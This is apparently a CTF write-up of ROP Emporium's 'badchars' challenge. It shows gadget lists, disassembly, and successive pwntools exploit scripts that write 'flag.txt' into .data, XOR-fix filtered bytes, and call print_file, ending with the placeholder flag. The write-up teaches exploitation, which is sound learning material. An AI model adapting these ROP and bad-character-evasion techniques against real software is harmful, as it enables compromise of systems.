5. badchars

the fifth challenge, it is pretty similar to the previous challenge write4 but this time, the input is processed and turned some byte into a bad character.

the challenge showed us the bad characters which are 'x', 'g', 'a', '.'.

with this knowledege let's find the gadgets and see what we can do using ROPgadget.

0x0000000000400634 : mov qword ptr [r13], r12 ; ret
0x000000000040069c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006a3 : pop rdi ; ret

these are some gadgets that i find useful for us to use create this ROP chain.

now let's find where do we write to.

┌──(kali㉿kali)-[~/ctf/rop/badchars]
└─$ rabin2 -S badchars
[Sections]

nth paddr        size vaddr       vsize perm name
―――――――――――――――――――――――――――――――――――――――――――――――――
18  0x00000df0    0x8 0x00600df0    0x8 -rw- .init_array
19  0x00000df8    0x8 0x00600df8    0x8 -rw- .fini_array
20  0x00000e00  0x1f0 0x00600e00  0x1f0 -rw- .dynamic
21  0x00000ff0   0x10 0x00600ff0   0x10 -rw- .got
22  0x00001000   0x28 0x00601000   0x28 -rw- .got.plt
23  0x00001028   0x10 0x00601028   0x10 -rw- .data
24  0x00001038    0x0 0x00601038    0x8 -rw- .bss

.data seems okay so let's use that.

let's make the script.

from pwn import *

padding = b"x"*40

print_file = 0x400510

pop_r1 = 0x40069c
mov_r13_r12 = 0x400634
pop_rdi = 0x4006a3

data_sec = 0x601028

file_to_print = b"flag.txt"

p = process("./badchars")

gdb.attach(p, "break print_file")

payload = padding + p64(pop_r1) + file_to_print + p64(data_sec) + p64(0xaaaaaaaa) + p64(0xaaaaaaaa) + p64(mov_r13_r12)
payload += p64(pop_rdi) + p64(data_sec) + p64(print_file)

p.sendline(payload)

p.interactive()

let's try it and see what will happen to our flag.txt string...

gef➤  x/s 0x601028
0x601028:       "fl\353\353\353t\353t"
gef➤  x/2xg 0x601028
0x601028:       0x74eb74ebebeb6c66      0x0000000000000000

so this happened to our string, the character that are in the list of bad chars get replaced by 0xeb.

our ROP chain doesn't seem to be broken so lucky for us, now that we have this info what can we do? since some of the string are still intact we can just use some gadgets to replace the bad bytes, let's find them. oh wait i forgot to look into the usefulGadgets function so let's do that first.

┌──(kali㉿kali)-[~/ctf/rop/badchars]
└─$ objdump -M intel --disassemble=usefulGadgets -S badchars

badchars:     file format elf64-x86-64

0000000000400628 <usefulGadgets>:
  400628:       45 30 37                xor    BYTE PTR [r15],r14b
  40062b:       c3                      ret
  40062c:       45 00 37                add    BYTE PTR [r15],r14b
  40062f:       c3                      ret
  400630:       45 28 37                sub    BYTE PTR [r15],r14b
  400633:       c3                      ret
  400634:       4d 89 65 00             mov    QWORD PTR [r13+0x0],r12
  400638:       c3                      ret
  400639:       0f 1f 80 00 00 00 00    nop    DWORD PTR [rax+0x0]

i see, so we have xor, add and sub instructions for us to use byte by byte. i decided to use xor here.

let's craft our new payload to fix the bad chars in memory.

from pwn import *

def findXor(x, badbyte = 0xeb):
    for i in range(255):
        if i ^ badbyte == x:
            return i
    return 0

badbyte = 0xeb

padding = b"x"*40

print_file = 0x400510

pop_r1 = 0x40069c
mov_r13_r12 = 0x400634
pop_rdi = 0x4006a3
pop_r14_r15 = 0x4006a0
xor_r15_r14 = 0x400628
sub_r15_r14 = 0x400630

data_sec = 0x601028

file_to_print = b"flag.txt"

p = process("./badchars")

gdb.attach(p, "break print_file")

fixBadbyte = lambda char, addr : p64(pop_r14_r15) + p64(findXor(ord(char))) + p64(addr) + p64(xor_r15_r14)

payload = padding + p64(pop_r1) + file_to_print + p64(data_sec) + p64(findXor(ord("a")))
payload += p64(data_sec + 2) + p64(mov_r13_r12) + p64(xor_r15_r14) + fixBadbyte("g", data_sec + 3)
payload += fixBadbyte(".", data_sec + 4) + fixBadbyte("x", data_sec + 6) + p64(pop_rdi) + p64(data_sec) + p64(print_file)

p.sendline(payload)

p.interactive()

this should work...

┌──(kali㉿kali)-[~/ctf/rop/badchars]
└─$ python solve.py
[+] Starting local process './badchars': pid 965
[*] running in new terminal: ['/usr/bin/gdb', '-q', './badchars', '965', '-x', '/tmp/pwnms4tsxy0.gdb']
[+] Waiting for debugger: Done
[*] Switching to interactive mode
badchars by ROP Emporium
x86_64

badchars are: 'x', 'g', 'a', '.'
> Thank you!
Failed to open file: flag.t\xebt
$                           [*] Got EOF while reading in interactive

hold on why is that? why is the character x doesn't get fixed? maybe our rop chain is broken so let's see.

fixBadbyte("x", data_sec + 6) is where we fix the bad char for x since we know that addresses also get affected by the bad chars filter, so something goes wrong here, maybe the address??

we know our .data section is 0x601028 since we +6 the address is 0x601028 + 6 = 0x60102e and it includes one of the bad bytes which is 0x2e. so what can we do here...

how about we shift the address of .data by one so that our ROP chain doesn't use 0x60102e any more but instead we use 0x60102f, sounds great! let's do just that.

from pwn import *

def findXor(x, badbyte = 0xeb):
    for i in range(255):
        if i ^ badbyte == x:
            return i
    return 0

badbyte = 0xeb

padding = b"x"*40

print_file = 0x400510

pop_r1 = 0x40069c
mov_r13_r12 = 0x400634
pop_rdi = 0x4006a3
pop_r14_r15 = 0x4006a0
xor_r15_r14 = 0x400628
sub_r15_r14 = 0x400630

data_sec = 0x601029

file_to_print = b"flag.txt"

p = process("./badchars")

gdb.attach(p, "break print_file")

fixBadbyte = lambda char, addr : p64(pop_r14_r15) + p64(findXor(ord(char))) + p64(addr) + p64(xor_r15_r14)

payload = padding + p64(pop_r1) + file_to_print + p64(data_sec) + p64(findXor(ord("a")))
payload += p64(data_sec + 2) + p64(mov_r13_r12) + p64(xor_r15_r14) + fixBadbyte("g", data_sec + 3)
payload += fixBadbyte(".", data_sec + 4) + fixBadbyte("x", data_sec + 6) + p64(pop_rdi) + p64(data_sec) + p64(print_file)

p.sendline(payload)

p.interactive()

let's run it

┌──(kali㉿kali)-[~/ctf/rop/badchars]
└─$ python solve.py
[+] Starting local process './badchars': pid 1008
[*] running in new terminal: ['/usr/bin/gdb', '-q', './badchars', '1008', '-x', '/tmp/pwn6i7nie6c.gdb']
[+] Waiting for debugger: Done
[*] Switching to interactive mode
badchars by ROP Emporium
x86_64

badchars are: 'x', 'g', 'a', '.'
> Thank you!
ROPE{a_placeholder_32byte_flag!}

nicesu!!!